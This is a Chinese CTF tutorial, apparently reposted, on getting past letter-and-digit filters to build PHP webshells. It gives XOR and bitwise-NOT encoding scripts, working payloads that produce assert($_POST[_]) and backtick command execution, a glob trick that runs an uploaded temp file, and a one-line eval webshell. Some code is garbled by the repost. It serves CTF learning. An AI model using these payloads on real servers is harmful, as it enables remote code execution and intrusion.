ctf 绕过php,浅析CTF绕过字符数字构造shell

原标题:浅析CTF绕过字符数字构造shell

12/14

本文字数3734

前言

在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

本文涉及知识点实操练习-使用base64与deflate对webshell编码

测试源码<?php

if(!preg_match( '/[a-z0-9]/is',$_GET[ 'shell'])) {

eval($_GET[ 'shell']);

}

//如果shell中不还有字母和数字,则可以执行eval语句

异或绕过

异或的符号是 ^ ,是一种运算符。

1 ^ 1 = 0

1 ^ 0 = 1

0 ^ 1 = 1

0 ^ 0 = 0

异或脚本<?php

for($i= 128;$i< 255;$i++){

echosprintf( "%s^%s",urlencode(chr($i)),urlencode(chr( 255))). "=>". (chr($i)^chr( 255)). "n";

}

?>

运行该脚本我们知道

%81^%FF=>~ %82^%FF=>} %83^%FF=>|

%84^%FF=>{ %85^%FF=>z %86^%FF=>y

%87^%FF=>x %88^%FF=>w %89^%FF=>v

%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s

%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p

%90^%FF=>o %91^%FF=>n %92^%FF=>m

%93^%FF=>l %94^%FF=>k %95^%FF=>j

%96^%FF=>i %97^%FF=>h %98^%FF=>g

%99^%FF=>f %9A^%FF=>e %9B^%FF=>d

%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a

%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^

%A2^%FF=>] %A3^%FF=> %A4^%FF=>[

%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X

%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U

%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R

%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O

%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L

%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I

%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F

%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C

%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@

%C0^%FF=>?

通过这种方法构造一个phpinfo函数

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff};&%ff=phpinfo

//${_GET}{%ff};&%ff=phpinfo

我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_

%B8^%FF=>G

%BA^%FF=>E

%AB^%FF=>T

$a = urldecode( '%ff%ff%ff%ff');

$b = urldecode( '%a0%b8%ba%ab');

echo$a^$b;

//输出_GET

3fcf01d7fe6180243947e7f1cbac09ec.png

取反绕过

取反的符号是 ~ ,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

直接看如何构造phpinfo

(~%8F%97%8F%96%91%99%90);

aeaddcf06f305262a99fcf5be3591971.png

可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。

取反脚本<?php

$a = urlencode(~ 'phpinfo');

echo$a;

//%8F%97%8F%96%91%99%90

3242f356782f4c73457c750d20243270.png

构造assert字符

第一种方法% 9E^%FF=>a

% 8C^%FF=>s

% 9A^%FF=>e

% 8D^%FF=>r

% 8B^%FF=>t

%A0^%FF=>_

%AF^%FF=>P

%B0^%FF=>O

%AC^%FF=>S

%AB^%FF=>T

$_= "%9E%8C%8C%9A%8D%8B"^ "%FF%FF%FF%FF%FF%FF";

$__= "%A0%AF%B0%AC%AB"^ "%FF%FF%FF%FF%FF";

$___=$$__;

$_($___[_]);

989371d5fdd2c18d0433c1e4da168adc.png

第二种方法

脚本

$shell = "assert";

$result1 = "";

$result2 = "";

for($num= 0;$num<=strlen($shell);$num++)

{

for($x= 33;$x< 126;$x++)

{

if(judge(chr($x)))

{

for($y= 33;$y<= 126;$y++)

{

if(judge(chr($y)))

{

$f = chr($x)^chr($y);

if($f == $shell[$num])

{

$result1 .= chr($x);

$result2 .= chr($y);

break2;

}

}

}

}

}

}

echo$result1;

echo"
";

echo$result2;

function judge($c)

{

if(!preg_match( '/[a-z0-9]/is',$c))

{

returntrue;

}

returnfalse;

}

这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

$_ = "!((%)("^ "@[[@["; //构造出assert

$__ = "!+/(("^ "~{`{|"; //构造出_POST

$___ = $$__; //$___ = $_POST

$_($___[_]); //assert($_POST[_]);

?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b

98826eec030f148165fea033d2c275cf.png

$_= "!((%)("^ "@[[@[";

$__= "!+/(("^ "~{`{|";

$___= $ $__;

$_( $___[_]);

a2913855c4eea1e0409602eef887bf77.png

%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b

f73aabe2a8486b82b202724c50d79c91.png

第三种方法

$a = urlencode(~ 'assert');

echo$a;

//%9E%8C%8C%9A%8D%8B

$b = urlencode(~ '_POST');

//%A0%AF%B0%AC%AB

$_ = ~ "%9e%8c%8c%9a%8d%8b"; //得到assert,此时$_="assert"

$__ = ~ "%a0%af%b0%ac%ab"; //得到_POST,此时$__="_POST"

$___ = $$__; //$___=$_POST

$_($___[_]); //assert($_POST[_])

?shell=$_=~ "%9e%8c%8c%9a%8d%8b";$__=~ "%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

519e4c67864af6b5dd3fd29f88d2c4c7.png

PHP5和7的区别

PHP5中,assert是一个函数,我们可以用 = a s s e r t ;_这样的形式来执行代码。但在PHP7中,assert变成了一个和eval一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。

0999bcfd57b6052a562d0c8e2ca31d61.png

2d669f2fbd8f0e30cbfcef26746b95bb.png

5570b95e1104542cf494b0171ec15f29.png

PHP5中,是不支持($a)这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo');

e94a96ac7e8504987041e690e9243970.png

ca6eac8d54eef178917381c1dd94420d.png

过滤了_?>=`{${~ "%a0%b8%ba%ab"}[%a0]}` ?>

分析下这个Payload,?>闭合了eval自带的<?标签 。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

47a16ee1236bdecfdddba9dad1f60779.png

过滤了$PHP7

在PHP7中,我们可以使用($a)这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90);执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert来执行函数,因为php7不支持assert函数。

PHP5在PHP5中不再支持($a)方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linux shell下两个知识点

1,shell下可以利用 . 来执行任意脚本

2,Linux文件名支持glob通配符代替

827f78147e7c8def44dbe772d39f408c.png

从图可以看出,我们可以成功用 . +文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。

在这两个条件下我们可以想到,如果我们可以上传一个文件,用 . 来执行这个文件就可以成功getshell。

那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?

首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX ,文件名最后6个字符是随机的大小写字母。

现在我们可以利用glob通配符匹配该文件,我们知道

* 可以代替0个及以上任意文件

? 可以代表1个任意字符

[^a] 可以用来判断这个位置的字符是不是a

[0-9] 可以用来限制范围

通过ascii码表我们知道,可见大写字母 @ 与 [ 之间,所以我们可以利用 [@-[] 来表示大写字母。

综上,我们可以利用 . /???/????????[@-[] 来匹配 /tmp/phpXXXXXX

实战演练

if( isset($_GET[ 'evil'])){

if(strlen($_GET[ 'evil'])> 25||preg_match( "/[w$=<>'"]/", $_GET[ 'evil'])){

die( "danger!!");

}

@ eval($_GET[ 'evil']);

}

highlight_file( __FILE__);

?>

通过编写脚本看看哪些可见字符没有被过滤

for($ascii = 0; $ascii < 256; $ascii++) {

if(!preg_match( "/[w$=<>'"]/", chr($ascii))) {

echo(chr($ascii));

}

}

?>

8ce45d904303172a4e548e6de39f56de.png

可以发现过滤了字母,数字,`$`,`_`,``等,但`和 . 还没有被过滤。由于过滤了所以不论PHP版本是5或者7,都不能执行( $a),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 ` 来执行文件。

首先,我们应该上传写一个表单上传

Document

提交一个1.txt的文件,这个文件会被保存在这个 /tmp/phpXXXXXX 临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。

我们在把1.txt中写入 ls ,并把执行完 1.txt 文件返回的内容(即执行ls返回的内容)保存在 var/www/html 目录下的abc文件中

var/www/html 是Apache的默认路径,我们也可以直接写 ls />abc

33ed442a39c693de4db4155cfb6a8424.png

接着在ip地址后添加 /abc ,可以看到成功返回执行1.txt后的内容。

3099377092fb0d9754eb568266bdf0a1.png

直接 cat flag

1b86bdb2bac02c2856450c7d081faa43.png

我们还可以上传一个小马文件 get flag

例如我们创建一个hello.php的文件,文件内容为

echo"<?php eval($_POST['shell']);"

c0c9dbc7f45c95a216dfbbf9f167d620.png

然后 cat flag

256bd8ad73a750befad8d38371425ff1.png

12/14

请点击公众号菜单:【来撩我吧】-原创征集返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值